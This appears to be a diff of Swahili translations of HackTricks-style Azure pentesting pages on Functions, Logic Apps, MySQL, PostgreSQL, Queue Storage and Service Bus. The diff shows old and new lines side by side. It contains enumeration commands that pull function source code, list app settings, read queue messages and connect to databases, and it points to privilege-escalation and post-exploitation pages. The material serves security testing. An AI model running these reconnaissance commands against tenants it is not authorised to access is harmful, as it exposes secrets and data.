Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kutekeleza msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Github Based Deployments
|
||||
|
||||
Wakati kazi inaundwa kutoka kwa repo ya Github, console ya wavuti ya Azure inaruhusu **kuunda kiotomatiki Github Workflow katika hifadhi maalum** ili kila wakati hifadhi hii inaposasishwa, msimbo wa kazi unasasishwa. Kwa kweli, Github Action yaml kwa kazi ya python inaonekana kama ifuatavyo:
|
||||
Wakati kazi inaundwa kutoka kwa repo ya Github, console ya wavuti ya Azure inaruhusu **kuunda kiotomatiki Github Workflow katika hifadhi maalum** ili kila wakati hifadhi hii ikisasishwa, msimbo wa kazi unasasishwa. Kwa kweli, Github Action yaml kwa kazi ya python inaonekana kama ifuatavyo:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -192,22 +192,21 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akidi ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akiba ya Shughuli ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hivyo, mtu yeyote anayekatisha tamaa hazina hiyo ataweza kukatisha tamaa kazi na Identiti Iliyosimamiwa zinazohusiana nayo.
|
||||
> Hivyo, mtu yeyote anayekabili hazina hiyo ataweza kukabili kazi na Identiti Iliyosimamiwa zinazohusiana nayo.
|
||||
|
||||
### Utekelezaji wa Msingi wa Kontena
|
||||
|
||||
Sio mipango yote inayo ruhusu kutekeleza kontena, lakini kwa zile zinazofanya hivyo, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
|
||||
Sio mipango yote inaruhusu kutekeleza kontena, lakini kwa zile zinazoruhusu, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
|
||||
|
||||
Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifadhi** inayohusiana na kazi kwani haitahitajika.
|
||||
|
||||
## Uhesabu
|
||||
## Uhesabuji
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -253,11 +252,9 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
@@ -273,9 +270,9 @@ Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
|
||||
# Retrieves the app settings for a specific Azure Function App.
|
||||
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
|
||||
## Kuinua Mamlaka
|
||||
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Logic Apps ni huduma ya msingi ya wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha workflows zinazounganisha huduma mbalimbali**, vyanzo vya data, na programu. Workflows hizi zimeundwa ili **kuandaa michakato ya biashara**, kuandaa kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
|
||||
Azure Logic Apps ni huduma ya msingi wa wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha mifumo ya kazi inayounganisha huduma mbalimbali**, vyanzo vya data, na programu. Mifumo hii ya kazi imeundwa ili **kujiendesha kwa mchakato wa biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
|
||||
|
||||
Logic Apps inatoa mbunifu wa kuona kuunda workflows na **aina mbalimbali za viunganishi vilivyotengenezwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda viunganishi vya kawaida kwa mahitaji yako maalum.
|
||||
Logic Apps inatoa mbunifu wa kuona kuunda mifumo ya kazi na **mifunguo mingi iliyojengwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda mifunguo maalum kwa mahitaji yako maalum.
|
||||
|
||||
### Examples
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps inaweza kuandaa **mchakato wa uhamishaji na mabadiliko ya data** kwa kushirikiana na Azure Data Factory. Hii ni muhimu kwa kuunda mipango ya data inayoweza kupanuka na kuaminika ambayo inahamisha na kubadilisha data kati ya hifadhi mbalimbali za data, kama vile Azure SQL Database na Azure Blob Storage, kusaidia katika uchambuzi na operesheni za akili ya biashara.
|
||||
- **Integrating with Azure Functions**: Logic Apps inaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazoendeshwa na matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa kwa urahisi na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamik.
|
||||
- **Automating Data Pipelines**: Logic Apps inaweza kujiendesha **mchakato wa uhamishaji na mabadiliko ya data** kwa kushirikiana na Azure Data Factory. Hii ni muhimu kwa kuunda mifumo ya data inayoweza kupanuka na kuaminika ambayo inahamisha na kubadilisha data kati ya hifadhi mbalimbali za data, kama vile Azure SQL Database na Azure Blob Storage, kusaidia katika uchambuzi na operesheni za akili ya biashara.
|
||||
- **Integrating with Azure Functions**: Logic Apps inaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazoendeshwa na matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa bila mshono na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamik.
|
||||
|
||||
### Visualize a LogicAPP
|
||||
|
||||
@@ -23,7 +23,7 @@ au kuangalia msimbo katika sehemu ya "**Logic app code view**".
|
||||
|
||||
### SSRF Protection
|
||||
|
||||
Hata kama utapata **Logic App ikiwa na udhaifu wa SSRF**, huwezi kupata akreditivu kutoka kwa metadata kwani Logic Apps haiwezeshi hilo.
|
||||
Hata kama utapata **Logic App ikiwa na udhaifu wa SSRF**, huwezi kupata akreditif kutoka kwa metadata kwani Logic Apps haiwezeshi hilo.
|
||||
|
||||
Kwa mfano, kitu kama hiki hakitatoa token:
|
||||
```bash
|
||||
@@ -37,15 +37,14 @@ Kuna chaguzi kadhaa za mwenyeji:
|
||||
* **Consumption**
|
||||
- **Multi-tenant**: inatoa rasilimali za kompyuta za pamoja, inafanya kazi katika wingu la umma, na inafuata mfano wa bei kulingana na operesheni. Hii ni bora kwa kazi nyepesi na za gharama nafuu.
|
||||
* **Standard**
|
||||
- **Workflow Service Plan**: rasilimali za kompyuta zilizotengwa na uunganisho wa VNET kwa ajili ya mtandao na malipo kwa kila mfano wa mpango wa huduma za kazi. Inafaa kwa kazi zinazohitaji udhibiti zaidi.
|
||||
- **App Service Environment V3** rasilimali za kompyuta zilizotengwa zikiwa na kutengwa kamili na uwezo wa kupanuka. Pia inajumuisha VNET kwa ajili ya mtandao na inatumia mfano wa bei kulingana na mifano ya App Service ndani ya mazingira. Hii ni bora kwa programu za kiwango cha biashara zinazohitaji kutengwa kubwa.
|
||||
- **Workflow Service Plan**: rasilimali za kompyuta zilizotengwa na uunganisho wa VNET kwa ajili ya mtandao na inatoza ada kwa kila mfano wa mpango wa huduma za kazi. Inafaa kwa kazi zinazohitaji udhibiti zaidi.
|
||||
- **App Service Environment V3** rasilimali za kompyuta zilizotengwa zikiwa na kutengwa kamili na uwezo wa kupanuka. Pia inajumuisha VNET kwa ajili ya mtandao na inatumia mfano wa bei kulingana na mifano ya Huduma ya Programu ndani ya mazingira. Hii ni bora kwa programu za kiwango cha biashara zinazohitaji kutengwa kubwa.
|
||||
- **Hybrid** iliyoundwa kwa ajili ya usindikaji wa ndani na msaada wa wingu nyingi. Inaruhusu rasilimali za kompyuta zinazodhibitiwa na mteja zikiwa na ufikiaji wa mtandao wa ndani na inatumia Kubernetes Event-Driven Autoscaling (KEDA).
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName>
|
||||
@@ -108,11 +107,9 @@ az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
# List all application settings for a specific Logic App
|
||||
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
@@ -137,11 +134,8 @@ Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName
|
||||
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Akaunti za Uunganisho
|
||||
**Akaunti za Uunganisho**, ni kipengele cha Azure Logic Apps. Akaunti za Uunganisho zinatumika kuwezesha uunganisho wa kiwango cha biashara kwa kuwezesha uwezo wa juu wa B2B, kama vile EDI, AS2, na usimamizi wa muundo wa XML. Akaunti za Uunganisho ni kontena katika Azure ambazo zinahifadhi vitu vifuatavyo vinavyotumika kwa Logic Apps:
|
||||
@@ -150,16 +144,12 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
* Ramani: Sanidi mabadiliko yanayotegemea XSLT kubadilisha muundo wa data ndani ya mifumo yako ya uunganisho.
|
||||
* Mkusanyiko: Simamia mkusanyiko wa akaunti za uunganisho ili kuboresha mantiki na usindikaji wa data.
|
||||
* Vyeti: Shughulikia vyeti kwa ajili ya kuficha na kusaini ujumbe, kuhakikisha mawasiliano salama.
|
||||
* Washirika: Simamia taarifa za washirika wa biashara kwa ajili ya shughuli za B2B, kuwezesha uunganisho usio na mshono.
|
||||
* Makubaliano: Sanidi sheria na mipangilio ya kubadilishana data na washirika wa biashara (kwa mfano, EDI, AS2).
|
||||
* Washirika: Simamia taarifa za washirika wa biashara kwa ajili ya miamala ya B2B, kuwezesha uunganisho usio na mshono.
|
||||
* Makubaliano: Sanidi sheria na mipangilio ya kubadilishana data na washirika wa biashara (mfano, EDI, AS2).
|
||||
* Mipangilio ya Kundi: Simamia mipangilio ya usindikaji wa kundi ili kuunganisha na kushughulikia ujumbe kwa ufanisi.
|
||||
* RosettaNet PIP: Sanidi Mchakato wa Kiunganishi wa RosettaNet (PIPs) kwa ajili ya kuweka kiwango cha mawasiliano ya B2B.
|
||||
* RosettaNet PIP: Sanidi Mchakato wa Kiolesura cha Washirika wa RosettaNet (PIPs) kwa ajili ya kuweka kiwango cha mawasiliano ya B2B.
|
||||
|
||||
#### Uhesabu
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Integration account
|
||||
az logic integration-account list --resource-group <resource-group-name>
|
||||
@@ -219,11 +209,9 @@ az logic integration-account assembly show \
|
||||
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
@@ -254,23 +242,22 @@ Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -Integr
|
||||
# Retrieve details of a specific schema in an integration account
|
||||
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
|
||||
## Kuinua Haki
|
||||
## Kuinua Mamlaka
|
||||
|
||||
Sawa na logic apps privesc:
|
||||
Vivyo hivyo na privesc za logic apps:
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
|
||||
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-logic-apps-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Baada ya Utekelezaji
|
||||
## Baada ya Kutekeleza
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
|
||||
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure MySQL
|
||||
Azure Database for MySQL ni huduma ya hifadhidata ya uhusiano inayosimamiwa kikamilifu inayotokana na MySQL Community Edition, iliyoundwa kutoa upanuzi, usalama, na kubadilika kwa mahitaji mbalimbali ya programu. Ina mifano miwili tofauti ya kutekeleza:
|
||||
Azure Database for MySQL ni huduma ya hifadhidata ya uhusiano inayosimamiwa kikamilifu inayotegemea MySQL Community Edition, iliyoundwa kutoa upanuzi, usalama, na kubadilika kwa mahitaji mbalimbali ya programu. Ina mifano miwili tofauti ya kutekeleza:
|
||||
|
||||
* **Single Server** (iko kwenye njia ya kustaafu):
|
||||
- Imeboreshwa kwa ajili ya kutekeleza MySQL kwa gharama nafuu na rahisi kusimamia.
|
||||
@@ -11,21 +11,20 @@ Azure Database for MySQL ni huduma ya hifadhidata ya uhusiano inayosimamiwa kika
|
||||
- Inafaa kwa programu zenye mzigo unaoweza kutabiriwa.
|
||||
* **Flexible Server**:
|
||||
- Inatoa udhibiti zaidi juu ya usimamizi wa hifadhidata na usanidi.
|
||||
- Inasaidia upatikanaji wa juu (sawa na eneo na eneo-lakini).
|
||||
- Vipengele vinajumuisha upanuzi wa elastic, usimamizi wa patch, na kuboresha mzigo wa kazi.
|
||||
- Inatoa kazi ya kusitisha/kuzindua kwa ajili ya akiba ya gharama.
|
||||
- Inasaidia upatikanaji wa juu (same-zone na zone-redundant).
|
||||
- Vipengele vinajumuisha upanuzi wa elastic, usimamizi wa patch, na kuboresha mzigo.
|
||||
- Inatoa kazi ya kusitisha/kuzindua kwa akiba ya gharama.
|
||||
|
||||
### Key Features
|
||||
* **Server Management**: Kipengele cha **ad-admin** kinaruhusu kusimamia wasimamizi wa Azure Active Directory (AAD) kwa seva za MySQL, kikitoa udhibiti juu ya ufikiaji wa kiutawala kupitia akreditivu za AAD, wakati kipengele cha **identity** kinaruhusu ugawaji na usimamizi wa Azure Managed Identities, kikitoa uthibitisho salama, bila akreditivu kwa ajili ya kufikia rasilimali za Azure.
|
||||
* **Server Management**: Kipengele cha **ad-admin** kinaruhusu kusimamia wasimamizi wa Azure Active Directory (AAD) kwa seva za MySQL, kikitoa udhibiti juu ya ufikiaji wa kiutawala kupitia akreditif za AAD, wakati kipengele cha **identity** kinaruhusu ugawaji na usimamizi wa Azure Managed Identities, kikitoa uthibitisho salama, bila akreditif kwa ufikiaji wa rasilimali za Azure.
|
||||
* **Lifecycle Management**: chaguzi za kuanzisha au kusitisha seva, kufuta mfano wa seva inayoweza kubadilishwa, kuanzisha tena seva ili haraka kutekeleza mabadiliko ya usanidi, na kusubiri kuhakikisha seva inakidhi masharti maalum kabla ya kuendelea na scripts za automatisering.
|
||||
* **Security and Networking**: inaweza kusimamia sheria za firewall za seva kwa ajili ya ufikiaji salama wa hifadhidata na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
* **Security and Networking**: inaweza kusimamia sheria za firewall za seva kwa ufikiaji salama wa hifadhidata na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
* **Data Protection and Backup**: inajumuisha chaguzi za kusimamia nakala za seva inayoweza kubadilishwa kwa ajili ya urejeleaji wa data, kufanya geo-restore ili kurejesha seva katika eneo tofauti, kusafirisha nakala za seva kwa matumizi ya nje (katika Preview), na kurejesha seva kutoka kwa nakala hadi wakati maalum.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# List all flexible-servers
|
||||
az mysql flexible-server db list --resource-group <resource-group-name>
|
||||
@@ -55,11 +54,9 @@ az mysql flexible-server maintenance list --resource-group <resource-group-name>
|
||||
az mysql flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.MySql
|
||||
|
||||
@@ -95,15 +92,12 @@ Get-AzMySqlFlexibleServerMaintenanceWindow -ResourceGroupName <resource-group-na
|
||||
# List log files for a server
|
||||
Get-AzMySqlFlexibleServerLog -ResourceGroupName <resource-group-name> -ServerName <server_name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Muunganisho
|
||||
|
||||
Kwa nyongeza rdbms-connect unaweza kufikia hifadhidata kwa:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa nyongeza rdbms-connect unaweza kufikia hifadhidata kwa:
|
||||
```bash
|
||||
az mysql flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
@@ -116,17 +110,11 @@ az mysql flexible-server execute \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Au kwa kutumia nyongeza ya asili ya MySQL
|
||||
{% code overflow="wrap" %}
|
||||
Au kwa kutumia plugin ya nyongeza ya asili ya MySQL
|
||||
```bash
|
||||
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Pia unaweza kutekeleza maswali na github lakini nenosiri na mtumiaji pia vinahitajika. Unahitaji kuandaa faili la sql lenye swali la kutekeleza na kisha:
|
||||
{% code overflow="wrap" %}
|
||||
Pia unaweza kutekeleza maswali na github lakini nenosiri na mtumiaji pia vinahitajika. Unahitaji kuandaa faili ya sql yenye swali la kutekeleza na kisha:
|
||||
```bash
|
||||
# Setup
|
||||
az mysql flexible-server deploy setup \
|
||||
@@ -145,23 +133,21 @@ az mysql flexible-server deploy run \
|
||||
--action-name <action-name> \
|
||||
--branch <branch-name>
|
||||
```
|
||||
{% endcode %}
|
||||
## Kuinua Mamlaka
|
||||
|
||||
## Kuinua Haki
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-mysql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
|
||||
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
## Baada ya Kutekeleza
|
||||
|
||||
## Baada ya Utekelezaji
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-mysql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-mysql-post-exploitation.md" %}
|
||||
[az-sql-mysql-exploitation.md](../az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
## Kufanya
|
||||
|
||||
## Kitu cha Kufanya
|
||||
|
||||
* Tafuta njia ya kupata ufikiaji na mysql flexible-server ad-admin ili kuthibitisha ni njia ya kuinua haki
|
||||
* Angalia njia ya kufikia na mysql flexible-server ad-admin ili kuthibitisha ni njia ya kuinua mamlaka
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -22,13 +22,12 @@
|
||||
* **Stop/Start Server**: Watumiaji wanaweza kusitisha na kuanzisha seva.
|
||||
* **Nakala za Otomatiki**: Nakala za kila siku zilizojengwa ndani zikiwa na muda wa uhifadhi unaoweza kubadilishwa hadi siku 35.
|
||||
* **Upatikanaji Kulingana na Majukumu**: Dhibiti ruhusa za watumiaji na upatikanaji wa kiutawala kupitia Azure Active Directory.
|
||||
* **Usalama na Mtandao**: inaweza kusimamia sheria za firewall za seva kwa ajili ya ufikiaji salama wa database na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
* **Usalama na Mtandao**: inaweza kusimamia sheria za firewall za seva kwa ajili ya upatikanaji salama wa database na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# List servers in a resource group
|
||||
az postgres flexible-server list --resource-group <resource-group-name>
|
||||
@@ -64,11 +63,9 @@ az postgres flexible-server maintenance list --resource-group <resource-group-na
|
||||
az postgres flexible-server server-logs list --resource-group <resource-group-name> --server-name <server_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.PostgreSql
|
||||
|
||||
@@ -91,15 +88,12 @@ Get-AzPostgreSqlFlexibleServerLocationBasedCapability -Location <location>
|
||||
Get-AzPostgreSqlServer -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Muunganisho
|
||||
|
||||
Kwa nyongeza rdbms-connect unaweza kufikia hifadhidata kwa:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa nyongeza rdbms-connect unaweza kufikia hifadhidata kwa:
|
||||
```bash
|
||||
az postgres flexible-server connect -n <server-name> -u <username> -p <password> --interactive
|
||||
|
||||
@@ -112,32 +106,27 @@ az postgres flexible-server execute \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Au
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser <database-name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
|
||||
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
|
||||
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
|
||||
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-postgresql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## ToDo
|
||||
|
||||
|
||||
@@ -12,19 +12,19 @@ Azure Queue Storage ni huduma katika jukwaa la wingu la Microsoft Azure iliyound
|
||||
{{#tab name="Az Cli" }}
|
||||
```bash
|
||||
# You need to know the --account-name of the storage (az storage account list)
|
||||
az storage queue list --account-name <storage_account>
|
||||
az storage queue list --account-name <storage_account> # --auth-mode login
|
||||
|
||||
# Queue Metadata
|
||||
az storage queue metadata show --name <queue_name> --account-name <storage_account>
|
||||
az storage queue metadata show --name <queue_name> --account-name <storage_account> # --auth-mode login
|
||||
|
||||
#Get ACL
|
||||
az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
|
||||
az storage queue policy list --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
|
||||
|
||||
# Get Messages (getting a message deletes it)
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
|
||||
|
||||
# Peek Messages
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
|
||||
@@ -10,13 +10,13 @@ Azure Service Bus ni **huduma ya ujumbe** inayotolewa kwenye wingu iliyoundwa ku
|
||||
|
||||
1. **Queues:** kusudi lake ni kuhifadhi ujumbe hadi mpokeaji awe tayari.
|
||||
- Ujumbe umeagizwa, umewekwa alama ya muda, na kuhifadhiwa kwa kudumu.
|
||||
- Utoaji unafanyika kwa njia ya kuvuta (urejeleaji wa mahitaji).
|
||||
- Utoaji unafanyika kwa njia ya kuvuta (urejeshaji kwa ombi).
|
||||
- Inasaidia mawasiliano ya pointi-kwa-point.
|
||||
2. **Topics:** Ujumbe wa kuchapisha-na-kujiandikisha kwa matangazo.
|
||||
- Usajili wengi huru hupokea nakala za ujumbe.
|
||||
- Usajili unaweza kuwa na sheria/filter za kudhibiti utoaji au kuongeza metadata.
|
||||
- Inasaidia mawasiliano ya wengi-kwa-wengi.
|
||||
3. **Namespaces:** Chombo kwa ajili ya vipengele vyote vya ujumbe, foleni na mada, ni kama kipande chako cha klasta yenye nguvu ya Azure, ikitoa uwezo maalum na kwa hiari inapanuka katika maeneo matatu ya upatikanaji.
|
||||
3. **Namespaces:** Chombo kwa ajili ya vipengele vyote vya ujumbe, foleni na mada, ni kama sehemu yako ya klasta yenye nguvu ya Azure, ikitoa uwezo maalum na kwa hiari inapanuka katika maeneo matatu ya upatikanaji.
|
||||
|
||||
### Advance Features
|
||||
|
||||
@@ -26,7 +26,7 @@ Baadhi ya vipengele vya juu ni:
|
||||
